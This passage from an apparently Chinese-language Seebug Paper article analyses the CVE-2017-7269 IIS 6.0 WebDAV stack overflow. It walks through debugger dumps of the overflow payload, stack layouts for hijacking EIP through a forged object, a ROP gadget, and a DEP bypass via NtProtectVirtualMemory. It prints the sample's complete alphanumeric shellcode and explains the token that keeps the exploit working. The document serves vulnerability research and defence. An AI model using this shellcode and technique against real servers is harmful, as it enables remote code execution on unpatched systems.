eip=6712544a esp=03faf7c0 ebp=03fafc34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
httpext!HrCheckIfHeader+0x124:
6712544a 8bf0            mov     esi,eax

$$ 填充數據到 0x680312c0
0:006> db 680312c0
680312c0  63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00  c.:.\.i.n.e.t.p.
680312d0  75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00  u.b.\.w.w.w.r.o.
680312e0  6f 00 74 00 5c 00 62 00-62 00 62 00 62 00 62 00  o.t.\.b.b.b.b.b.
680312f0  62 00 62 00 48 79 75 61-43 4f 67 6f 6f 6b 45 48  b.b.HyuaCOgookEH
68031300  46 36 75 67 33 44 71 38-65 57 62 5a 35 54 61 56  F6ug3Dq8eWbZ5TaV
68031310  52 69 53 6a 57 51 4e 38-48 59 55 63 71 49 64 43  RiSjWQN8HYUcqIdC
68031320  72 64 68 34 58 47 79 71-6b 33 55 6b 48 6d 4f 50  rdh4XGyqk3UkHmOP
68031330  46 7a 71 34 54 6f 43 74-56 59 6f 6f 41 73 57 34  Fzq4ToCtVYooAsW4
0:006> db
68031340  68 61 72 7a 45 37 49 4d-4e 57 48 54 38 4c 7a 36  harzE7IMNWHT8Lz6
68031350  72 35 66 62 43 6e 6d 48-48 35 77 61 5a 4d 74 61  r5fbCnmHH5waZMta
68031360  33 41 65 43 72 52 69 6d-71 36 64 4e 39 6e 53 63  3AeCrRimq6dN9nSc
68031370  64 6b 46 51 30 4f 6f 78-53 72 50 67 53 45 63 7a  dkFQ0OoxSrPgSEcz
68031380  39 71 53 4f 56 44 36 6f-79 73 77 68 56 7a 4a 61  9qSOVD6oyswhVzJa
68031390  45 39 39 36 39 6c 31 45-72 34 65 53 4a 58 4e 44  E9969l1Er4eSJXND
680313a0  44 7a 35 6c 56 5a 41 62-72 6e 31 66 59 59 33 54  Dz5lVZAbrn1fYY3T
680313b0  42 31 65 58 41 59 50 71-36 30 77 57 57 44 61 53  B1eXAYPq60wWWDaS
0:006> db
680313c0  c0 13 03 68 4f 6e 00 68-4f 6e 00 68 47 42 6a 76  ...hOn.hOn.hGBjv
680313d0  c0 13 03 68 57 42 74 4f-47 59 34 52 66 4b 42 4b  ...hWBtOGY4RfKBK
680313e0  64 74 6f 78 82 60 01 68-35 51 7a 72 7a 74 47 4d  dtox.`.h5QzrztGM
680313f0  59 44 57 57 13 b1 00 68-76 31 6f 6e e3 24 01 68  YDWW...hv1on.$.h
68031400  60 14 03 68 00 03 fe 7f-ff ff ff ff c0 13 03 68  `..h...........h
68031410  6e 04 03 68 6e 71 70 74-34 14 03 68 e7 29 01 68  n..hnqpt4..h.).h
68031420  91 93 00 68 31 39 6e 66-55 49 52 30 6b 54 6b 76  ...h19nfUIR0kTkv
68031430  4a 72 61 79 1c 14 03 68-05 6e 00 68 32 77 68 79  Jray...h.n.h2why

3.4 控制 EIP

在函數 HrCheckIfHeader 返回后,后面會跳轉到 CParseLockTokenHeader::HrGetLockIdForPath 中去執行,而后者也會多次調用 CMethUtil::ScStoragePathFromUrl 這個函數。同樣,解析 URL 第一部分(http://localhost/aaaaaaa....)時完成棧溢出,此時會覆蓋到一個引用 CMethUtil 對象的局部變量;在解析 URL 第二部分(http://localhost/bbbbbbb....)時,因為 CMethUtil 已經偽造好,其成員 IEcb 實例同樣完成偽造,最后在 ScStripAndCheckHttpPrefix 中實現 EIP 的控制。

CPutRequest::Execute
├──HrCheckStateHeaders
│  └──HrCheckIfHeader
│     ├──CMethUtil::ScStoragePathFromUrl
│     └──CMethUtil::ScStoragePathFromUrl
│
└──FGetLockHandle
   └──CParseLockTokenHeader::HrGetLockIdForPath
      ├──CMethUtil::ScStoragePathFromUrl
      └──CMethUtil::ScStoragePathFromUrl

(1) FGetLockHandle 分析 函數 FGetLockHandle 里面構造了一個 CParseLockTokenHeader 對象,存儲于棧上的一個局部變量引用了這個對象 (這一點很重要),調用該對象的成員函數 HrGetLockIdForPath 進入下一階段。

int __stdcall FGetLockHandle(
    struct CMethUtil *a1, wchar_t *Str, 
    unsigned __int32 a3, const unsigned __int16 *a4, 
    struct auto_ref_handle *a5)
{
  signed int v5; // eax@1
  int result; // eax@2
  CParseLockTokenHeader *v7; // [sp+0h] [bp-54h]@1
  union _LARGE_INTEGER v8; // [sp+40h] [bp-14h]@1
  int v9; // [sp+50h] [bp-4h]@1

  v7 = CParseLockTokenHeader(a1, a4);
  v9 = 0;
  v7->SetPaths(Str, 0);
  v5 = v7->HrGetLockIdForPath(Str, a3, &v8, 0);
  v9 = -1;
  if ( v5 >= 0 )
  {
    result = FGetLockHandleFromId(a1, v8, Str, a3, a5);
  }
  else
  {
    result = 0;
  }
  return result;
}

(2) HrGetLockIdForPath 分析 HrGetLockIdForPathHrCheckIfHeader 有點類似,同樣存在兩個 CStackBuffer 變量。不同的是,v22.HighPart 指向父級函數 HrGetLockIdForPath 中引用 CParseLockTokenHeader 對象的局部變量,而且這里也會將其轉換為 CMethUtil 類型使用。

在解析 URL 第一部分(http://localhost/aaaaaaa....)時,通過棧溢出可以覆蓋引用 CParseLockTokenHeader 對象的局部變量,棧布局如下所示。

┌─────────────────────────┐
│   v7 (FGetLockHandle)   │  CParseLockTokenHeader <────┐
├─────────────────────────┤               ↑o            │
│          ......         │               │v            │
├─────────────────────────┤               │e            │
│            2.heap_buffer│  ebp-14       │r            │
├─────────────────────────┤               │f            │
│         2.fake_heap_size│  ebp-18       │l            │
├─────────────────────────┤               │o            │
│CStackBuffer2.buffer[260]│  ebp-11C      │w            │
├─────────────────────────┤ <-------- overwrite data    │
│            1.heap_buffer│  ebp-120 -> heap (url part1)│
├─────────────────────────┤                             │
│         1.fake_heap_size│  ebp-124                    │
├─────────────────────────┤                             │
│CStackBuffer1.buffer[260]│  ebp-228                    │
├─────────────────────────┤                             │
│          ......         │                             │
├────────────┬────────────┤                             │
│ v22.LowPart│v22.HighPart│  ebp-240  (LARGE_INTEGER) ──┘
└────────────┴────────────┘

棧上的數據分布如下所示:

0:006> dds ebp-18
03fafbb8  00000412 --------> CStackBuffer2.fake_heap_size
03fafbbc  03fafab4 --------> CStackBuffer2.buffer[260]
03fafbc0  00000168
03fafbc4  03fafc30
03fafbc8  67140bdd httpext!swscanf+0x137d  --> ret addr
03fafbcc  00000002
03fafbd0  03fafc3c
03fafbd4  6711aba9 httpext!FGetLockHandle+0x40
03fafbd8  07874c2e
03fafbdc  80000000
03fafbe0  03fafc28
03fafbe4  00000000
03fafbe8  07872fc0 --------> CParseLockTokenHeader xx
03fafbec  0788c858
03fafbf0  0788c858

$$ CMethUtil
0:006> r ecx
ecx=07872fc0

$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990  5a3211a0 03fafbe8

$$ CStackBuffer2.buffer[260]
0:006> ?ebp-11C
Evaluate expression: 66779828 = 03fafab4

分析棧的布局可以知道,在復制 260+12*4=308 字節數據后,后續的 4 字節數據將覆蓋引用 CParseLockTokenHeader 對象的局部變量。需要注意的是,這里所說的 308 字節,是 URL 轉變成物理路徑后的前 308 字節。執行完 CMethUtil::ScStoragePathFromUrl 之后,680313c0 被填充到父級函數中引用 CParseLockTokenHeader 對象所在的局部變量。

$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990  5a3211a0 03fafbe8

0:006> dd 03fafbe8 L1
03fafbe8  680313c0

(3) ScStripAndCheckHttpPrefix 分析 在解析 URL 第二部分(http://localhost/bbbbbbb....)時,由于引用 CParseLockTokenHeader 對象的局部變量的值已經被修改,所以會使用偽造的對象,最終在函數 ScStripAndCheckHttpPrefix 中完成控制權的轉移。

CPutRequest::Execute
└──FGetLockHandle
   └──CParseLockTokenHeader::HrGetLockIdForPath ecx = 0x680313C0
      ├──CMethUtil::ScStoragePathFromUrl        ecx = 0x680313C0
      │  └──ScStoragePathFromUrl                ecx = [ecx+0x10]=0x680313C0
      │     └──ScStripAndCheckHttpPrefix        call [[ecx]+0x24]
      └──CMethUtil::ScStoragePathFromUrl

接管控制權后,將開始執行 ROP 代碼。

0:006> dd 680313C0 L1
680313c0  680313c0

0:006> dd 680313C0+10 L1
680313d0  680313c0

0:006> dd 680313C0+24 L1
680313e4  68016082

0:006> u 68016082
rsaenh!_alloca_probe+0x42:
68016082 8be1            mov     esp,ecx
68016084 8b08            mov     ecx,dword ptr [eax]
68016086 8b4004          mov     eax,dword ptr [eax+4]
68016089 50              push    eax
6801608a c3              ret
6801608b cc              int     3
6801608c cc              int     3
6801608d cc              int     3

3.5 繞過 DEP

在執行 ROP 代碼片段時,會跳轉到 KiFastSystemCall 去執行,這里將 EAX 寄存器的值設置為 0x8F,也就是 NtProtectVirtualMemory 的服務號,函數的參數通過棧進行傳遞。

0:006> dds esp
68031400  68031460      --> return address
68031404  7ffe0300      --> SharedUserData!SystemCallStub
68031408  ffffffff      --> ProcessHandle, CURRENT_PROCESS
6803140c  680313c0      --> BaseAddress
68031410  6803046e      --> RegionSize, 0x48
68031414  00000040      --> NewProtectWin32, PAGE_EXECUTE_READWRITE
68031418  68031434      --> OldProtect

TK 在 CanSecWest 2013 的演講《DEP/ASLR bypass without ROP/JIT》[4] 中提到:

SharedUserData is always fixed in 0x7ffe0000 from Windows NT 4 to Windows 8 0x7ffe0300 is always point to KiFastSystemCall Only work on x86 Windows

這里就是用了 0x7ffe0300 這個地址來定位 KiFastSystemCall(關于 KiFastSystemCall 的介紹,可以參考文檔 《KiFastCallEntry() 機制分析》 [5])。

3.6 Shellcode

樣本中的 Shellcode 如下:

VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAI
AXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8
Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LM
X1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6
P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XK
Q3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJ
Z2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3UL
Y7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA

前面分析到函數 CRequest::LpwszGetHeader 會把其轉成 UNICODE 字符串,所以在內存中長這個樣子:

0:006> db 68031460
68031460  55 00 56 00 59 00 41 00-34 00 34 00 34 00 34 00  U.V.Y.A.4.4.4.4.
68031470  34 00 34 00 34 00 34 00-34 00 34 00 51 00 41 00  4.4.4.4.4.4.Q.A.
68031480  54 00 41 00 58 00 41 00-5a 00 41 00 50 00 41 00  T.A.X.A.Z.A.P.A.
68031490  33 00 51 00 41 00 44 00-41 00 5a 00 41 00 42 00  3.Q.A.D.A.Z.A.B.
680314a0  41 00 52 00 41 00 4c 00-41 00 59 00 41 00 49 00  A.R.A.L.A.Y.A.I.
680314b0  41 00 51 00 41 00 49 00-41 00 51 00 41 00 50 00  A.Q.A.I.A.Q.A.P.
680314c0  41 00 35 00 41 00 41 00-41 00 50 00 41 00 5a 00  A.5.A.A.A.P.A.Z.
680314d0  31 00 41 00 49 00 31 00-41 00 49 00 41 00 49 00  1.A.I.1.A.I.A.I.

這是所謂的 Alphanumeric Shellcode [6],可以以 ASCII 或者 UNICODE 字符串形式呈現 Shellcode。

3.7 The Last Question

最后一個問題是,在 Exploit 的兩個 URL 之間存在 (Not <locktoken:write1>) 這樣一個字符串,這個字符串的作用是什么呢?如果刪掉這個字符串,Exploit 就失效了,因為 HrCheckIfHeader 中解析 URL 的流程中斷了,而解析流程得以繼續的關鍵是 while 循環中嵌套的 for 循環對 IFITER::PszNextToken(2) 的調用。需要注意的是,這里傳遞的參數值是 2,而分析 IFITER::PszNextToken() 的反匯編代碼,可以知道這個字符串只要滿足一定的形式就可以了,如 (nOt <hahahahah+asdfgh>) 或者 (nOt [hahahahah+asdfgh]) 都是可以的。

int __thiscall IFITER::PszNextToken(int this, signed int a2)
{
  //......
  if ( !_wcsnicmp(L"not", (const wchar_t *)v4, 3u) )
  {
    *(_DWORD *)(v2 + 4) += 6;
    *(_DWORD *)(v2 + 28) = 1;       // ----> 設置值
    while ( **(_WORD **)(v2 + 4) && iswspace(**(_WORD **)(v2 + 4)) )
      *(_DWORD *)(v2 + 4) += 2;
    if ( !**(_WORD **)(v2 + 4) )
      return 0;
  }
  v17 = **(_WORD **)(v2 + 4);
  if ( v17 == '<' )
  {
LABEL_64:
    v23 = '>';
    goto LABEL_65;
  }
  if ( v17 != '[' )
    return 0;
  v23 = ']';
LABEL_65:
  v20 = *(_DWORD *)(v2 + 4);
  v21 = wcschr((const wchar_t *)(v20 + 2), v23);
  *(_DWORD *)(v2 + 4) = v21;
  if ( !v21 )
    return 0;
  *(_DWORD *)(v2 + 4) = v21 + 1;
  v22 = v2 + 8;
  StringBuffer<char>::AppendAt(0, 
    2 * ((signed int)((char *)v21 - v20) >> 1) + 2, v20);
  StringBuffer<char>::AppendAt(*(_DWORD *)(v22 + 8), 
    2, &gc_wszEmpty);
  return *(_DWORD *)v22;
}

不過 not 字符串是不能替換的,因為這里會影響程序的執行流程。從上面的代碼可以看出,存在 not 字符串時會將對象偏移 28 (0x1C) 處的值設置為 1,這個值會決定父級函數中的一個跳轉(goto LABEL_27)是否執行。

// v22      -> ebp-44C
// ifilter  -> ebp-468
// 0x468 + 0x1C = 0x44C

if ( !FGetLastModTime(0, v8, &v23) || !FETagFromFiletime(
        &v23, &String, *((const struct IEcb **)a1 + 4)) )
{
LABEL_26:
  if ( v22 )                            // ==1
    goto LABEL_27;
  goto LABEL_30;
}

4. 其他

要編寫一個真實環境中通用的 Exploit,還需要考慮許多其他因素,比如 IIS 設置的物理路徑等,文章 [7] 列舉了一些注意事項。

此外,文章 [8] 提到了一種基于 HTTP 回傳信息的方法。

當然,關于編寫通用 Exploit 所需要注意的細節,也可以參考 NSA 的 Explodingcan 的參數設置。

NSA Explodingcan 參數設置

5. References

[1] https://github.com/edwardz246003/IIS_exploit
[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269
[3] https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html
[4] https://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf
[5] http://www.mouseos.com/windows/kernel/KiFastCallEntry.html
[6] https://github.com/SkyLined/alpha3
[7] https://xianzhi.aliyun.com/forum/read/1458.html
[8] https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/282/